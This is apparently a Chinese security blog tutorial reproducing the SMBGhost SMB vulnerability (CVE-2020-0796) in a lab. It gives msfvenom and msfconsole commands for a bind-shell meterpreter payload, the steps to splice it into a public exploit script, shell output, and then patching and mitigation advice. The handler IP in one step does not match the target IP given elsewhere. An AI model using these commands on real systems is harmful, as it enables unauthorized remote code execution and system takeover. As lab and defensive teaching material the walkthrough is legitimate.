[ MSF使用实例 ] 利用永恒之黑采用正向连接 shell 获得主机权限(CVE-2020-0796)(SMBGhost)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、漏洞编号

CVE-2020-0796
利用SMBv3远程代码执行漏洞
永恒之黑
SMBGhost

二、影响范围

漏洞不影响win7,漏洞影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

三、漏洞简介

SMB远程代码执行漏洞(CVE-2020-0796),有安全研究者取名“SMBGhost”。
SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。
攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
该漏洞的后果十分接近永恒之蓝系列,都利用Windows SMB漏洞远程攻击获取系统最高权限,WannaCry勒索蠕虫就是利用永恒之蓝系列漏洞攻击工具制造的大灾难。除了直接攻击SMB服务端造成RCE外,该漏洞得亮点在于对SMB客户端的攻击,攻击者可以构造特定的网页,压缩包,共享目录,OFFICE文档等多种方式触发漏洞进行攻击。

四、环境搭建

随便选一个存在漏洞的系统搭建起来就可以了
我这里采用的系统版本是

Win10-1909-x64

可以自己去msdn上下载

https://msdn.itellyou.cn

五、漏洞复现

1、环境介绍

靶机:windows10(win10-1909-x64版本)(192.168.13.161)
攻击机:这里采用了两台:一台kali(192.168.13.160)一台windows(192.168.13.1)

windows:检测漏洞存在性
kali:生成shellcode(拷贝到windows靶机)
Windows:替换shellcode文件中buf 为 USER_PAYLOAD
Windows:替换过的shellcode文本替换到exp中
kali:使用 msf 监听
Windows:运行构造好的exp
kali:getshell成功,执行任意命令

2、检测漏洞存在性

采用漏洞检测脚本检测漏洞存在
检测工具在文末给出,下载不了可以私信博主获取

CVE-2020-0796-Scanner.exe
192.168.13.161

在这里插入图片描述

3、构造exp

1.生成shellcode

通过 MSF 生成 shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp lport=55555 -f py -o shellcode.txt

上面这句话的发改意思就是:
生成一个正向监听端口55555的正向反弹shell的名字为shellcode.txt的python脚本
简单介绍一下语句类型,下一篇博客详细介绍

-p			指定反弹shell类型(reverse_tcp,reverse_http,reverse_https,bind_tcp等)
bind_tcp		这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST
lport			端口
-f 			要生成的程序类型
-o 			要生成的文件名 

在这里插入图片描述

查看一下刚刚生成的文件

cat shellcode.txt

在这里插入图片描述

2.下载 exp 脚本:

下载链接在文末给出,下载不了可以私信博主获取
下载之后解压打开看一下
在这里插入图片描述

3.构造exp

把刚刚 MSF 生成的 shellcode 里的 buf 替换成 USER_PAYLOAD
替换完成之后如下

在这里插入图片描述

把上面得到的文本替换到下载的exploit.py中(91-130行),就得到了我们需要使用的exp脚本文件

在这里插入图片描述

4、getshell

1.使用 msf 连接

下面这些命令可以理解为让我们的kali攻击机不断连接靶机192.168.2.36的55555端口

msfconsole 
use exploit/multi/handler  
利用侦听模块了在msf下进入到侦听模块中
set payload windows/x64/meterpreter/bind_tcp
这是paload为正向反弹shell的payload
set lport 55555
设置连接端口
set rhost 192.168.2.36
设置靶机 
run
运行程序

在这里插入图片描述
在这里插入图片描述

2.靶机开放端口

运行exp脚本文件即可
Kali连接之后,我们可以采用运行exp脚本了,你在哪儿运行都一样,我这里为了方便采用的windows本机执行exp

python exploit.py -ip 192.168.13.161

这个exp的意思就是让192.168.13.161去监听自己的55555端口(也可以理解让靶机为开放55555端口)

在这里插入图片描述

3.攻击机 getshell 成功

执行getuid

getuid

在这里插入图片描述

执行ipconfig

Ipconfig

得到了就是我们靶机的ip,确认是靶机的shell

在这里插入图片描述

六、漏洞修复

1、更新系统

更新系统、完成补丁的安装:操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。

2、禁用SMBv3压缩

禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force

注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。

3、设置防火墙策略关闭相关端口

SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口

七、相关资源

1、Windows镜像站MSDN
2、SMBGhostPOC
3、CVE-2020-0796检测工具

  • 116
    点赞
  • 118
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 119
    评论
评论 119
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_PowerShell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值